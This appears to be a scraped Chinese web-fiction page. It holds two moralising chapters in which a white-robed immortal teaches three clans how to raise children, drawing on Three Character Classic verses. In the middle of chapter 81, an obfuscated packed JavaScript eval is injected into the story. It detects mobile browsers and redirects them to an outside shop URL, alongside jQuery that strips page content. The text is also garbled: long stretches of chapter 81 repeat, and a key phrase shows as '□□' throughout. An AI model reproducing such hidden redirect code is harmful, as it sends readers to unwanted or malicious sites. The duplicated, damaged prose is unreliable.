是年三月三,上巳节,性教碑忽生异象:“性本善”三字蒙尘如雾;“性相近”三字龟裂如隙;“贵以专”三字歪斜欲倒。三姓家主观碑,各怀忧虑。 三月十五,邑中蒙学开“开笔礼”,千童诵《三字经》。正诵至“人之初,性本善”一节,忽闻学塾中那方“开笔砚”发出“嗡”然清鸣——砚中墨汁无风自旋,一人自墨晕中踏光而出,如文气化形。 来人头戴素纱帷笠,笠檐垂及肩的月白轻纱,面覆同色鲛绡,眸光清亮如朝露;着一身云纹素罗深衣,衣摆以银丝绣着四幅图景:前为“孟母三迁”,左为“荀子劝学”,右为“程门立雪”,后为“朱子读书”,暗合“性教”之旨。外罩一件无袖素纱氅衣,氅角缀四枚玉圭,圭圭相叠寂然无声。腰束玄色丝绦,悬一柄无鞘木剑,剑身纹理如书卷叠章,隐现翰墨芬芳。足踏素锦踏云履,履尖微翘,不染尘埃。 身形清雅,立于墨砚之侧,帷笠轻纱与墨香同漾,竟似从蒙学童声中化出的灵慧。台下观者瞠目,分不清是梦是真。 来人以木剑轻点砚中墨,墨汁跃起成珠: “苟不教,性乃迁!” 又点: “性相近,□□!” 再点: “教之道,贵以专!” 诵罢,木剑遥指性教碑:“三姓家主,可愿登台观碑?” 慕容、公孙、钟离三公相顾愕然。来人飘然下台,衣袂如流云舒卷:“某有三桩‘性教’公案,可请三公分观。观毕,再论教养。” 一、 不教之迁(慕容氏) 慕容氏为武学世家,家主慕容公。笃信“性本善”,以为天性自然,无须雕琢。对膝下三子,皆纵溺不教:长子慕容雄,年十八,好勇斗狠,常聚众滋事;次子慕容英,年十六,游手好闲,终日斗鸡走犬;幼子慕容杰,年十四,骄纵任性,动辄毁物伤人。慕容公皆笑曰:“孩童天性,长大自明。”昨日,三子于街市纵马,踏伤老妇,慕容公反斥老妇“挡道”。 来人引慕容公至“苟不教,性乃迁”碑前。六字歪斜,以手扶之,碑体微颤。慕容公蹙眉。 “苟不教,性乃迁。教之道,贵以专。”来人问,“慕容公可教子否?” 慕容公朗笑:“吾儿天性纯良,何须多教?” “玉不琢,不成器。性虽善,不教则迁。”来人召三子至前,问慕容雄:“汝好勇斗狠,是善是恶?”雄昂首:“大丈夫当如是!”问慕容英:“汝游手好闲,是善是恶?”英嬉笑:“人生苦短,及时行乐!”问慕容杰:“汝毁物伤人,是善是恶?”杰撇嘴:“吾父有财,赔便是!” 慕容公色变。来人叹:“人之初,性本善。然性相近,□□。三子本善,然公不教,习于恶行,性乃迁矣。今纵马伤人,他日或杀人越货,公能赔否?能纵否?” 恰此时,校场“武”字大旗“咔嚓”断裂,旗面委地。慕容公骇。来人道:“今有一法可解:严加管教,设家法,明规矩。教之以武德,导之以仁义。苟不教,性乃迁;苟教之,性可复。” 慕容公从之,即请严师,立家规,三子日习文武。是夜,“苟不教,性乃迁”六字渐正。来人教“性教法”:性本善,如璞玉;不教则瑕生,教则玉成。慕容氏自此重教,三子皆成材。 二、 相远之习(公孙氏) 公孙氏为书香门第,家主公孙公。深知“性相近,□□”,然教子待人,天差地别:对嫡子公孙文,延名师,购珍籍,呵护备至;对庶子公孙武,任其荒废,动辄斥骂。对门生故旧之子,亦分三六九等。昨日,庶子公孙武偶得佳句,求教于父,公孙公嗤曰:“庶子也配谈诗?” 来人引公孙公至“性相近,□□”碑前。六字龟裂,以指抚之,裂隙如沟。公孙公赧然。 “性相近,□□。教之道,贵以专。”来人问,“公孙公之教,可称专否?” 公孙公强道:“吾教子…尽心尽力…” “尽心于嫡,尽力于庶乎?”来人取两篇文章:一为嫡子文作,平庸而朱批满篇;一为庶子武作,佳句而只字未改。“同是子,性本相近。然公待之有殊,习乃相远。嫡子恃宠而骄,庶子自卑而弃。此非天性使然,实公偏私所致!” 公孙公汗出。来人叹:“孟子云:人皆可以为尧舜。苟得教育,皆可成材。公以嫡庶分高下,是自设藩篱,埋没英才。他日庶子怨愤,嫡子无能,门庭衰败,谁之过?” 又引至家塾,见嫡子趾高气扬,庶子瑟缩墙角。问:“同室而学,同气连枝,何以天渊之别?性相近,□□。公之教,是使之近,是使之远?” 恰此时,家塾“诗礼传家”匾额一角坠落。公孙公惧。来人道:“今有一法可解:一视同仁,因材施教。嫡庶皆子,门生皆徒。教之道,贵以专——专于教,非专于嫡。” 公孙公从之,即延师教庶子,待门生无别。是夜,“性相近,□□”六字裂隙渐合。来人教“专教法”:教之道,在专一。专于育才,非专于偏爱。公孙氏自此公平,二子皆成器。 三、 贵专之偏(钟离氏) 钟离氏为商贾巨室,家主钟离公。深信“教之道,贵以专”,然专而偏执:逼独子钟离秀专攻举业,禁绝一切杂学。钟离秀年十五,已考取童生,然体弱多病,性情孤僻。昨日,钟离秀欲学画,钟离公怒撕画具,叱曰:“万般皆下品,惟有读书高!” 来人引钟离公至“教之道,贵以专”碑前。四字歪斜,以手正之,碑体晃动。钟离公不悦。 “教之道,贵以专。然专者,非偏也。”来人取钟离秀诗文,虽工整,然无生气;观其形容,面色苍白,目无神采。“公之教,专乎?偏乎?专于举业,而偏于身心。子有画才,公扼杀之;子需休憩,公逼迫之。如此专教,是育人,是毁人?” 钟离公强辩:“科举正道,自当专攻…” “正道非窄道。”来人叹,“昔孔子教六艺:礼、乐、射、御、书、数,未曾偏废。公只教‘书’,是得孔子之旨,是失孔子之教?教之道,贵以专——专于成人之道,非专于功名之途。” 又引至钟离秀书房,见四壁皆经书,无一件玩物。秀垂首默坐,如笼中鸟。问:“此子可快活?可康健?可成‘人’?公以专教为名,行桎梏之实,他日纵中状元,而身心俱毁,公何所乐?” 恰此时,书房梁上“书香门第”匾额绳索骤断,匾落尘埃。钟离公惊。来人道:“今有一法可解:广开艺途,张弛有度。教之道,贵以专——专于其性,顺其自然。科举可攻,然需兼修六艺,以全其性。” 钟离公从之,即允秀学画习武,劳逸结合。是夜,“教之道,贵以专”四字复正。来人教“全教法”:教贵专,非贵偏。专于成人之道,则文武兼修,德才兼备。钟离氏自此开明,秀后中举人,书画双绝。 四、 性教会 三姓悔改,聚于性教台。来人指碑全文: “人之初,性本善。性相近,□□。苟不教,性乃迁。教之道,贵以专。今三公各得其要:慕容公知教,公孙公知公,钟离公知全。善哉!” 慕容公问:“吾等已改,然邑中仍有纵溺、偏私、偏执之教,何以化之?” “以性教化之。”来人召邑民聚台下,令三公自述其过。 慕容公述纵溺:“吾信性本善,纵溺不教。今知苟不教,性乃迁。愿严加管教,导之以正。” 公孙公述偏私:“吾明性相近,然待子不公。今知教之道,贵以专——专于教,非专于嫡。愿一视同仁,因材施教。” 钟离公述偏执:“吾知贵以专,然专而偏狭。今知教贵专于成人之道,非专于功名。愿广开艺门,顺性而教。” 邑民闻之,多有感泣。有纵溺者惭,有偏私者悔,有偏执者悟。三月间,邑中教风焕然。 来人教“性教化民法”:择邑中贤者,立“性教堂”,每月朔望,聚于台下,以“有教无类,因材施教”相劝勉。又制“性教榜”,彰善纠偏。 五、 习远谳 九月初九,重阳日,开蒙邑办“性教祭”,三姓共主祭。忽有山匪聚众,欲劫掠邑中蒙学,掳童子为质。邑民惊惧,来人止之,召三姓家主并邑中耆老,会于性教台。 是日,祭典方启,主祭人正诵“教之道,贵以专”,忽闻祭坛中央那尊青铜“性教鼎”发出“嗡”然长鸣——鼎内本焚着香木,此刻青烟凝聚,竟自鼎腹中化出一道人形,踏烟凌虚,如文星临凡。 来人帷笠素纱,白衣胜雪,木剑悬腰,立于鼎耳之上,衣袂与香烟同舞。 “善哉!三公已得性教之要。”来人朗声道,“人之初,性本善。然苟不教,性乃迁。今山匪为恶,是性迁也。我邑蒙童,性本善而教以专,可化之否?” 飞身而下,如白鹤掠地,点尘不惊。取木剑画地成策:“匪亦人子,初性本善。今为恶,是未教也。可遣三子往说之:慕容雄示以武德,公孙武示以诗文,钟离秀示以书画。匪见童子知礼有才,或生惭愧,或受感化。若执迷,再以武慑之。” 三公从之。慕容雄率家丁布阵,示以“武以止戈”;公孙武诵《孝经》《论语》,示以“文以化人”;钟离秀展山 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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性近习远成天渊。 钟离偏执教子窄, 贵专失全子孱弱。 三姓迷途不知返, 性教碑现警世言。 白衣点破性教理, 碑前指醒梦中贤。” 士子叹服。是夜,宿城中,梦来人踏月而至,以木剑点其额:“子若为师,可知性教之道?人之初,性本善否?性相近,□□否?苟不教,性乃迁否?教之道,贵以专否?若明此理,则教化可成矣。” 士子惊寤,汗透重衣。翌日,焚却门户之见,开馆授徒,有教无类。后成一代宗师,门下桃李满天下。 城中性教碑,后人建“性教阁”护之,阁悬联:“人之初性本善贵教,性相近习相远在专”。有教子无方者临碑,碑面自现箴言。人传:“此乃白衣仙人所留性教鉴也。” 本章诫世 一、 性教四训 - 人之初,性本善 - 性相近,□□ - 苟不教,性乃迁 - 教之道,贵以专 - 破解法:为人父母师长,自问“待子可教否?教之可公否?公之可专否?专之可全否?” 二、 三姓三偏 - 慕容氏偏于“不教”——信性本善而纵溺,致性乃迁 - 公孙氏偏于“不公”——明性相近而偏私,致□□ - 钟离氏偏于“不专”——知贵以专而偏执,致教失全 - 惕世:多少父母溺爱纵容,而子女为恶?多少师长偏私不公,而人才埋没?多少教者偏执一途,而扼杀灵性? 三、 教养大道 - 深层隐喻:性如璞玉,教如琢磨。不教则瑕生,教则玉成。教之道,在因材施教,在持之以恒 - 终极指向:治国平天下,在教化。教以明性,化以成习。人人得教,则天下皆善 性教偈: 开蒙邑里三姓偏,各失性教误子弟。 慕容纵溺不教子,性迁为恶悔已迟。 公孙偏私待子殊,性近习远成参差。 钟离偏执教子窄,贵专失全子孱弱。 三姓迷途不知返,性教碑现警世辞。 白衣点破性教理,碑前指醒梦中痴。 人之初人性本善,性相近兮□□。 苟不教则性乃迁,教之道兮贵以专。 慕容悔悟严管教,公孙公平教无偏。 钟离开明全子性,三姓归正子弟贤。 后世叹: 人之初人性本善,性相近兮□□。 苟不教则性乃迁,教之道兮贵以专。 慕容纵溺子为恶,公孙偏私子成怨。 钟离偏执子孱弱,三姓迷途各倒颠。 性教碑前现异象,白衣指点性教篇。 正是: 治国平天下在教,性教之道要记牢。 人之初人性本善,性相近兮□□。 苟不教则性乃迁,教之道兮贵以专。 慕容纵溺不教子,公孙偏私待子偏。 钟离偏执教子窄,三姓迷途各倒颠。 白衣点破性教理,性教碑前指真诠。 81.性教谳 楔子·性教碑 岭南有山城名“开蒙邑”,城西“性教台”上立“性教碑”,碑分四面,分镌四训:正面“人之初,性本善”,字迹温润如璞玉;左面“性相近,□□”,字体清隽如行云;右面“苟不教,性乃迁”,笔意警醒如晨钟;背面“教之道,贵以专”,气势端凝如泰山。相传为前代蒙学大儒手书,百年风雨,墨痕如新。 邑中三大家族:慕容氏为武学世家,家主慕容公,信“性本善”而纵溺子弟,不教不导;公孙氏为书香门第,家主公孙公,明“性相近”而偏私教子,待人有别;钟离氏为商贾巨室,家主钟离公,知“贵以专”而教子偏执,唯务功名。三族皆重子弟教养,然各执一偏,邑中少年多歧途。 是年三月三,上巳节,性教碑忽生异象:“性本善”三字蒙尘如雾;“性相近”三字龟裂如隙;“贵以专”三字歪斜欲倒。三姓家主观碑,各怀忧虑。 三月十五,邑中蒙学开“开笔礼”,千童诵《三字经》。正诵至“人之初,性本善”一节,忽闻学塾中那方“开笔砚”发出“嗡”然清鸣——砚中墨汁无风自旋,一人自墨晕中踏光而出,如文气化形。 来人头戴素纱帷笠,笠檐垂及肩的月白轻纱,面覆同色鲛绡,眸光清亮如朝露;着一身云纹素罗深衣,衣摆以银丝绣着四幅图景:前为“孟母三迁”,左为“荀子劝学”,右为“程门立雪”,后为“朱子读书”,暗合“性教”之旨。外罩一件无袖素纱氅衣,氅角缀四枚玉圭,圭圭相叠寂然无声。腰束玄色丝绦,悬一柄无鞘木剑,剑身纹理如书卷叠章,隐现翰墨芬芳。足踏素锦踏云履,履尖微翘,不染尘埃。 身形清雅,立于墨砚之侧,帷笠轻纱与墨香同漾,竟似从蒙学童声中化出的灵慧。台下观者瞠目,分不清是梦是真。 来人以木剑轻点砚中墨,墨汁跃起成珠: “苟不教,性乃迁!” 又点: “性相近,□□!” 再点: “教之道,贵以专!” 诵罢,木剑遥指性教碑:“三姓家主,可愿登台观碑?” 慕容、公孙、钟离三公相顾愕然。来人飘然下台,衣袂如流云舒卷:“某有三桩‘性教’公案,可请三公分观。观毕,再论教养。” 一、 不教之迁(慕容氏) 慕容氏为武学世家,家主慕容公。笃信“性本善”,以为天性自然,无须雕琢。对膝下三子,皆纵溺不教:长子慕容雄,年十八,好勇斗狠,常聚众滋事;次子慕容英,年十六,游手好闲,终日斗鸡走犬;幼子慕容杰,年十四,骄纵任性,动辄毁物伤人。慕容公皆笑曰:“孩童天性,长大自明。”昨日,三子于街市纵马,踏伤老妇,慕容公反斥老妇“挡道”。 来人引慕容公至“苟不教,性乃迁”碑前。六字歪斜,以手扶之,碑体微颤。慕容公蹙眉。 “苟不教,性乃迁。教之道,贵以专。”来人问,“慕容公可教子否?” 慕容公朗笑:“吾儿天性纯良,何须多教?” “玉不琢,不成器。性虽善,不教则迁。”来人召三子至前,问慕容雄:“汝好勇斗狠,是善是恶?”雄昂首:“大丈夫当如是!”问慕容英:“汝游手好闲,是善是恶?”英嬉笑:“人生苦短,及时行乐!”问慕容杰:“汝毁物伤人,是善是恶?”杰撇嘴:“吾父有财,赔便是!” 慕容公色变。来人叹:“人之初,性本善。然性相近,□□。三子本善,然公不教,习于恶行,性乃迁矣。今纵马伤人,他日或杀人越货,公能赔否?能纵否?” 恰此时,校场“武”字大旗“咔嚓”断裂,旗面委地。慕容公骇。来人道:“今有一法可解:严加管教,设家法,明规矩。教之以武德,导之以仁义。苟不教,性乃迁;苟教之,性可复。” 慕容公从之,即请严师,立家规,三子日习文武。是夜,“苟不教,性乃迁”六字渐正。来人教“性教法”:性本善,如璞玉;不教则瑕生,教则玉成。慕容氏自此重教,三子皆成材。 二、 相远之习(公孙氏) 公孙氏为书香门第,家主公孙公。深知“性相近,□□”,然教子待人,天差地别:对嫡子公孙文,延名师,购珍籍,呵护备至;对庶子公孙武,任其荒废,动辄斥骂。对门生故旧之子,亦分三六九等。昨日,庶子公孙武偶得佳句,求教于父,公孙公嗤曰:“庶子也配谈诗?” 来人引公孙公至“性相近,□□”碑前。六字龟裂,以指抚之,裂隙如沟。公孙公赧然。 “性相近,□□。教之道,贵以专。”来人问,“公孙公之教,可称专否?” 公孙公强道:“吾教子…尽心尽力…” “尽心于嫡,尽力于庶乎?”来人取两篇文章:一为嫡子文作,平庸而朱批满篇;一为庶子武作,佳句而只字未改。“同是子,性本相近。然公待之有殊,习乃相远。嫡子恃宠而骄,庶子自卑而弃。此非天性使然,实公偏私所致!” 公孙公汗出。来人叹:“孟子云:人皆可以为尧舜。苟得教育,皆可成材。公以嫡庶分高下,是自设藩篱,埋没英才。他日庶子怨愤,嫡子无能,门庭衰败,谁之过?” 又引至家塾,见嫡子趾高气扬,庶子瑟缩墙角。问:“同室而学,同气连枝,何以天渊之别?性相近,□□。公之教,是使之近,是使之远?” 恰此时,家塾“诗礼传家”匾额一角坠落。公孙公惧。来人道:“今有一法可解:一视同仁,因材施教。嫡庶皆子,门生皆徒。教之道,贵以专——专于教,非专于嫡。” 公孙公从之,即延师教庶子,待门生无别。是夜,“性相近,□□”六字裂隙渐合。来人教“专教法”:教之道,在专一。专于育才,非专于偏爱。公孙氏自此公平,二子皆成器。 三、 贵专之偏(钟离氏) 钟离氏为商贾巨室,家主钟离公。深信“教之道,贵以专”,然专而偏执:逼独子钟离秀专攻举业,禁绝一切杂学。钟离秀年十五,已考取童生,然体弱多病,性情孤僻。昨日,钟离秀欲学画,钟离公怒撕画具,叱曰:“万般皆下品,惟有读书高!” 来人引钟离公至“教之道,贵以专”碑前。四字歪斜,以手正之,碑体晃动。钟离公不悦。 “教之道,贵以专。然专者,非偏也。”来人取钟离秀诗文,虽工整,然无生气;观其形容,面色苍白,目无神采。“公之教,专乎?偏乎?专于举业,而偏于身心。子有画才,公扼杀之;子需休憩,公逼迫之。如此专教,是育人,是毁人?” 钟离公强辩:“科举正道,自当专攻…” “正道非窄道。”来人叹,“昔孔子教六艺:礼、乐、射、御、书、数,未曾偏废。公只教‘书’,是得孔子之旨,是失孔子之教?教之道,贵以专——专于成人之道,非专于功名之途。” 又引至钟离秀书房,见四壁皆经书,无一件玩物。秀垂首默坐,如笼中鸟。问:“此子可快活?可康健?可成‘人’?公以专教为名,行桎梏之实,他日纵中状元,而身心俱毁,公何所乐?” 恰此时,书房梁上“书香门第”匾额绳索骤断,匾落尘埃。钟离公惊。来人道:“今有一法可解:广开艺途,张弛有度。教之道,贵以专——专于其性,顺其自然。科举可攻,然需兼修六艺,以全其性。” 钟离公从之,即允秀学画习武,劳逸结合。是夜,“教之道,贵以专”四字复正。来人教“全教法”:教贵专,非贵偏。专于成人之道,则文武兼修,德才兼备。钟离氏自此开明,秀后中举人,书画双绝。 四、 性教会 三姓悔改,聚于性教台。来人指碑全文: “人之初,性本善。性相近,□□。苟不教,性乃迁。教之道,贵以专。今三公各得其要:慕容公知教,公孙公知公,钟离公知全。善哉!” 慕容公问:“吾等已改,然邑中仍有纵溺、偏私、偏执之教,何以化之?” “以性教化之。”来人召邑民聚台下,令三公自述其过。 慕容公述纵溺:“吾信性本善,纵溺不教。今知苟不教,性乃迁。愿严加管教,导之以正。” 公孙公述偏私:“吾明性相近,然待子不公。今知教之道,贵以专——专于教,非专于嫡。愿一视同仁,因材施教。” 钟离公述偏执:“吾知贵以专,然专而偏狭。今知教贵专于成人之道,非专于功名。愿广开艺门,顺性而教。” 邑民闻之,多有感泣。有纵溺者惭,有偏私者悔,有偏执者悟。三月间,邑中教风焕然。 来人教“性教化民法”:择邑中贤者,立“性教堂”,每月朔望,聚于台下,以“有教无类,因材施教”相劝勉。又制“性教榜”,彰善纠偏。 五、 习远谳 九月初九,重阳日,开蒙邑办“性教祭”,三姓共主祭。忽有山匪聚众,欲劫掠邑中蒙学,掳童子为质。邑民惊惧,来人止之,召三姓家主并邑中耆老,会于性教台。 是日,祭典方启,主祭人正诵“教之道,贵以专”,忽闻祭坛中央那尊青铜“性教鼎”发出“嗡”然长鸣——鼎内本焚着香木,此刻青烟凝聚,竟自鼎腹中化出一道人形,踏烟凌虚,如文星临凡。 来人帷笠素纱,白衣胜雪,木剑悬腰,立于鼎耳之上,衣袂与香烟同舞。 “善哉!三公已得性教之要。”来人朗声道,“人之初,性本善。然苟不教,性乃迁。今山匪为恶,是性迁也。我邑蒙童,性本善而教以专,可化之否?” 飞身而下,如白鹤掠地,点尘不惊。取木剑画地成策:“匪亦人子,初性本善。今为恶,是未教也。可遣三子往说之:慕容雄示以武德,公孙武示以诗文,钟离秀示以书画。匪见童子知礼有才,或生惭愧,或受感化。若执迷,再以武慑之。” 三公从之。慕容雄率家丁布阵,示以“武以止戈”;公孙武诵《孝经》《论语》,示以“文以化人”;钟离秀展山 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17107404|195403||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 水画卷,示以“美以动心”。匪首本粗人,见童子知书达理,武艺不凡,书画怡情,惭而叹:“吾等为生计所迫,不得已为匪。今见童子如此,何忍加害?”遂解甲请罪,愿受教化。 邑中文士叹曰:“昔三公教子无方,子弟或暴或庸或弱;今三公教子有方,子弟文武双全,竟能化匪。此谓‘教之道,贵以专’也!” 来人登台顶,临风而立,诵《三字经》此章,声清越如玉磬。诵罢,谓众曰:“人之初,性本善。性相近,□□。苟不教,性乃迁。教之道,贵以专。今邑中蒙童皆得善教,性未迁而习向善,何匪不化?” 慕容公拜问:“先生将去,何以长守此教?” 来人指心:“教在汝心,性在汝行。但时时自问:待子可教否?教之可公否?公之可专否?专之可全否?若然,则性教成矣。” 言毕,纵身跃上性教碑顶,足尖一点“教”字,身形如白虹经天,没入云霄。众人仰观,唯见碑文光华流转,性教之义粲然。 尾声性教谣 十年后,开蒙邑更名“性教城”。三姓互通婚姻,无分嫡庶。城中设“性教学塾”,童蒙入学,先诵此章。有游学士子过境,见城中“童子知礼,少年有德,青年有为”,问:“此城何化若此?” 老者答:“教以专,性乃善。” “何以至此?” 童子诵《性教谣》: “治国平天下在教, 性教之道要记牢。 人之初人性本善, 性相近兮□□。 苟不教则性乃迁, 教之道兮贵以专。 慕容纵溺不教子, 性迁为恶悔已晚。 公孙偏私待子殊, 性近习远成天渊。 钟离偏执教子窄, 贵专失全子孱弱。 三姓迷途不知返, 性教碑现警世言。 白衣点破性教理, 碑前指醒梦中贤。” 士子叹服。是夜,宿城中,梦来人踏月而至,以木剑点其额:“子若为师,可知性教之道?人之初,性本善否?性相近,□□否?苟不教,性乃迁否?教之道,贵以专否?若明此理,则教化可成矣。” 士子惊寤,汗透重衣。翌日,焚却门户之见,开馆授徒,有教无类。后成一代宗师,门下桃李满天下。 城中性教碑,后人建“性教阁”护之,阁悬联:“人之初性本善贵教,性相近习相远在专”。有教子无方者临碑,碑面自现箴言。人传:“此乃白衣仙人所留性教鉴也。” 本章诫世 一、 性教四训 - 人之初,性本善 - 性相近,□□ - 苟不教,性乃迁 - 教之道,贵以专 - 破解法:为人父母师长,自问“待子可教否?教之可公否?公之可专否?专之可全否?” 二、 三姓三偏 - 慕容氏偏于“不教”——信性本善而纵溺,致性乃迁 - 公孙氏偏于“不公”——明性相近而偏私,致□□ - 钟离氏偏于“不专”——知贵以专而偏执,致教失全 - 惕世:多少父母溺爱纵容,而子女为恶?多少师长偏私不公,而人才埋没?多少教者偏执一途,而扼杀灵性? 三、 教养大道 - 深层隐喻:性如璞玉,教如琢磨。不教则瑕生,教则玉成。教之道,在因材施教,在持之以恒 - 终极指向:治国平天下,在教化。教以明性,化以成习。人人得教,则天下皆善 性教偈: 开蒙邑里三姓偏,各失性教误子弟。 慕容纵溺不教子,性迁为恶悔已迟。 公孙偏私待子殊,性近习远成参差。 钟离偏执教子窄,贵专失全子孱弱。 三姓迷途不知返,性教碑现警世辞。 白衣点破性教理,碑前指醒梦中痴。 人之初人性本善,性相近兮□□。 苟不教则性乃迁,教之道兮贵以专。 慕容悔悟严管教,公孙公平教无偏。 钟离开明全子性,三姓归正子弟贤。 后世叹: 人之初人性本善,性相近兮□□。 苟不教则性乃迁,教之道兮贵以专。 慕容纵溺子为恶,公孙偏私子成怨。 钟离偏执子孱弱,三姓迷途各倒颠。 性教碑前现异象,白衣指点性教篇。 正是: 治国平天下在教,性教之道要记牢。 人之初人性本善,性相近兮□□。 苟不教则性乃迁,教之道兮贵以专。 慕容纵溺不教子,公孙偏私待子偏。 钟离偏执教子窄,三姓迷途各倒颠。 白衣点破性教理,性教碑前指真诠。 82.孟邻谳 楔子·孟邻碑 河东有古城名“择邻邑”,城北“三迁台”上立“孟邻碑”,碑分两面,一面镌“昔孟母,择邻处”,字迹温润如慈母手泽;一面镌“子不学,断机杼”,笔锋刚劲如利剑断帛。相传为前代贤母所立,百年风雨,碑体莹然有光。 邑中三大族姓:西门氏为市井豪商,家宅左邻赌坊,右接酒肆,子弟多染恶习;南宫氏为书香门第,宅邻花街柳巷,子弟多务浮华;东郭氏为耕读传家,宅近屠宰之所,子弟多闻腥膻。三族皆知孟母三迁故事,然或固守祖宅,或择邻不当,子弟多有不肖。 是年寒食,孟邻碑忽生异象:“择邻处”三字蒙尘如雾;“断机杼”三字丝络毕现,竟有断痕。三姓家主观碑,各怀忧虑。 四月十五,邑中行“开蒙礼”,百童诵《三字经》。正诵至“昔孟母,择邻处”一节,忽闻蒙馆中那架“断机”教具发出“铮”然裂帛之音——本是仿制的断机模型,此刻机杼自折,一人自断丝中踏光而出,如慈训化形。 来人头戴素纱帷笠,笠檐垂及肩的月白轻纱,面覆同色鲛绡,眸光清亮如秋水;着一身云纹素罗深衣,衣摆以银丝绣着两幅图景:左为“孟母三迁”,右为“断机教子”,暗合“孟邻”之旨。外罩一件无袖素纱氅衣,氅角缀两枚玉梭,梭梭相叠寂然无声。腰束玄色丝绦,悬一柄无鞘木剑,剑身纹理如织锦经纬,隐现丝缕分明。足踏素锦步云履,履尖微翘,不染尘埃。 身形清雅,立于断机之侧,帷笠轻纱与断丝同垂,竟似从母教中化出的精魂。台下观者愕然,分不清是真是幻。 来人以木剑轻触断丝,丝弦自鸣: “子不学,断机杼!” 剑尖再点: “昔孟母,择邻处!” 诵罢,木剑遥指孟邻碑:“三姓家主,可愿登台观碑?” 西门、南宫、东郭三公相顾惊疑。来人飘然下台,衣袂如流云舒卷:“某有三桩‘孟邻’公案,可请三公分观。观毕,再论邻处。” 一、 不择之害(西门氏) 西门氏为市井豪商,宅第位于城西闹市,左邻“千金赌坊”,右接“醉仙酒肆”,门前终日车马喧嚣。家主西门公,深信“富贵不移”,言:“吾家资巨万,何惧赌酒之邻?”长子西门庆,年十六,日与赌徒厮混,已输银三千两;次子西门福,年十四,常与酒客为伍,酗酒滋事。西门公每加训斥,二子反唇:“邻皆如此,何独责我?” 来人引西门公至“昔孟母,择邻处”碑前。三字蒙尘,以袖拂之,尘灰飞扬。西门公掩面。 “昔孟母,择邻处。子不学,断机杼。”来人问,“西门公可知孟母三迁?” 西门公强笑:“市井传言,何足为信?” “孟母三迁,岂是传言?”来人召西门庆、西门福至前,问庆:“赌坊可好?”庆眉飞色舞:“一掷千金,快哉!”问福:“酒肆可妙?”福醉眼朦胧:“一醉解忧,乐哉!” 西门公色变。来人叹:“近朱者赤,近墨者黑。孟母三迁,为避恶邻。公宅邻赌坊酒肆,子弟日染恶习,公不择邻,是爱子,是害子?” 又引至宅前,但见赌徒呼卢喝雄,酒客喧哗骂座。问:“公可闻其声?可见其行?子弟耳濡目染,安得不效?他日倾家荡产,身败名裂,公悔之何及?” 恰此时,宅门“积善之家”匾额“咔嚓”裂开。西门公骇。来人道:“今有一法可解:迁居择邻。孟母三迁,公何惜一迁?择良邻而处,子弟自正。” 西门公沉吟:“祖宅百年,岂可轻弃?” “祖宅可贵,子嗣更贵。孟母可三迁,公何惜一迁?”来人正色,“或可严加管束,禁绝出入。然防不胜防,不若迁居。” 西门公从之,即购城东清净宅院,举家迁居。是夜,“择邻处”三字尘灰自落。来人教“择邻法”:邻为镜,照子弟。择良邻,如择良师。西门氏迁居后,二子远离赌酒,渐归正途。 二、 误择之失(南宫氏) 南宫氏为书香门第,宅第位于城南,本甚清幽。然近年邻舍变迁,左邻“怡红院”,右邻“翠玉楼”,皆为风月之所。家主南宫公,自诩“定力深厚”,言:“我心如止水,何惧脂粉?”长子南宫文,年十七,日与纨绔子弟流连花街,学业荒废;次子南宫雅,年十五,慕“风流才子”之名,常作艳词。南宫公屡加训诫,二子辩曰:“邻舍繁华,乃文士风流。” 来人引南宫公至“昔孟母,择邻处”碑前。细观碑文,但见“择”字有瑕,似被污渍浸染。南宫公蹙眉。 “孟母择邻,择其善者。公之邻,善乎?”来人取南宫文诗文,本有才气,今多艳语;观南宫雅行止,本端方,今多轻浮。“邻有风月,子弟多风流。风流非不可,然耽于其中,则丧志败德。公不择邻,是允之,是纵之?” 南宫公汗出:“吾尝严加管束…” “管束可禁其身,难禁其心。”来人叹,“孟母三迁,为避恶邻。今公宅邻花街,子弟目迷五色,耳濡靡音,心性渐移。公自诩定力,然子弟非公,安有公之定力?” 又引至后院墙下,隔墙可闻笙歌笑语。问:“公可闻此声?可禁子弟不闻?昔孟母闻杀豕而迁,今公闻艳曲而不迁,何也?” 恰此时,书房“书香世家”匾额蛛网骤结,如蒙尘垢。南宫公惧。来人道:“今有一法可解:迁居择静。或可高筑墙,严门户。然墙高不过心,门户难防耳目。不若迁居。” 南宫公叹:“非不欲迁,实无良宅。” “城东有静巷,可购之。”来人指东方,“昔孟母三迁,不惮烦劳。为子弟计,公何惜奔走?” 南宫公从之,即购城东静巷宅院,举家迁居。是夜,“择邻处”三字污渍渐消。来人教“择静法”:静以修身,俭以养德。邻静则心静,心静则学成。南宫氏迁居后,二子收心向学,后皆中秀才。 三、 不教之断(东郭氏) 东郭氏为耕读传家,宅第位于城东,本邻田舍,甚是清静。然近年邻舍易主,新邻为屠户,终日宰杀,腥膻扑鼻。家主东郭公,笃信“勤可补拙”,对独子东郭勤严加督学,稍有懈怠,即加鞭笞。子东郭勤,年十五,终日苦读,然闻邻舍宰杀声则心悸,见血腥则呕吐,学业反退。昨日,东郭勤背书有误,东郭公怒而折其笔,叱曰:“昔孟母断机,今吾折笔,尔可不勉?” 来人引东郭公至“子不学,断机杼”碑前。三字丝络毕现,断痕宛然。东郭公抚痕,若有所思。 “子不学,断机杼。孟母断机,为警子勤学。然公折笔,可警子心?”来人观东郭勤,面黄肌瘦,目带惊恐。“孟母断机,是见子废学,痛心警之。今子非不学,是邻舍喧扰,心不能静。公不择邻,反责子不勤,是教子,是逼子?” 东郭公赧然:“吾…望子成龙…” “望子成龙,当为之计深远。”来人叹,“孟母三迁,为子择邻。今公不择清净之邻,使子闻腥膻而心悸,见杀戮而神摇,虽勤学,效减半。公不迁居,是惜宅,是惜子?” 